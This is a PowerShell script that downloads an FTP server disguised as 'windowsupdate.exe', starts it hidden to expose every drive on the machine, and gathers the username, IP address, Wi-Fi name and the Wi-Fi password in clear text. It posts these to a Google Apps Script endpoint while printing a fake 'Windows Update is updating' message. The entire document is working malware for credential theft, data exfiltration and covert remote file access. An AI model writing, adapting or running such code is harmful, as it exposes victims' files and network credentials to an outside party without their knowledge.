# ===========================
# CONFIG
# ===========================
$webAppUrl = "https://script.google.com/macros/s/AKfycbwdW38aTHmELCCs04-sHm4eL9srRd35XSwn-L-Cy6-R4OrxOV6UCvU8yL2BZ91NVFzt/exec"
$basePort  = 90

# ===========================
# CLEANUP OLD INSTANCES
# ===========================
Write-Host "Stopping old windowsupdate.exe processes..."
Get-Process windowsupdate -ErrorAction SilentlyContinue | Stop-Process -Force

# ===========================
# DOWNLOAD FTPDMIN IF NEEDED
# ===========================
# Username
$username = $env:USERNAME
$ftpdPath = "$env:USERPROFILE\windowsupdate.exe"
if (-not (Test-Path $ftpdPath)) {
    Write-Host "Windows Update is updating..."
    Invoke-WebRequest -Uri "https://www.sentex.net/~mwandel/ftpdmin/ftpdmin.exe" -OutFile $ftpdPath
}

# ===========================
# COLLECT SYSTEM INFO
# ===========================


# Get Wi-Fi SSID
$ssid = (netsh wlan show interfaces | Select-String "SSID" | ForEach-Object { ($_ -split ":")[1].Trim() } | Select-Object -First 1)

# Get IP address bound to Wi-Fi adapter only
$wifiAdapter = (Get-NetAdapter | Where-Object { $_.Status -eq "Up" -and $_.Name -match "Wi-Fi" }).Name
$ip = ""
if ($wifiAdapter) {
    $ip = (Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $wifiAdapter `
        | Where-Object { $_.IPAddress -notmatch "^169\." } `
        | Select-Object -First 1 -ExpandProperty IPAddress)
}

# Wi-Fi Password (requires admin privileges)
$wifiPassword = ""
if ($ssid) {
    $wifiProfile = netsh wlan show profile name="$ssid" key=clear
    $wifiPassword = ($wifiProfile | Select-String "Key Content" | ForEach-Object { ($_ -split ":")[1].Trim() })
}

# Drives and ports
$drives = Get-PSDrive -PSProvider FileSystem | Where-Object { Test-Path $_.Root }
$ports  = @()
$index  = 0

foreach ($drive in $drives) {
    $port = $basePort + $index
    $ports += "$($drive.Root.TrimEnd('\'))->$port"

    Write-Host "Starting FTP server for $($drive.Root) on port $port"
    Start-Process -WindowStyle Hidden -FilePath "cmd.exe" -ArgumentList "/c `"$ftpdPath -p $port $($drive.Root)`""

    $index++
}

$portsString = ($ports -join ", ")

# ===========================
# SEND DATA TO GOOGLE SCRIPT
# ===========================

$data = @{
    username     = $username
    ip           = $ip
    ports        = $portsString
    ssid         = $ssid
    wifiPassword = $wifiPassword
} | ConvertTo-Json -Compress

try {
    Invoke-RestMethod -Uri $webAppUrl -Method Post -ContentType "application/json" -Body $data
    Write-Host "Data sent successfully to Google Script"
}
catch {
    Write-Host "Error sending data: $_"
}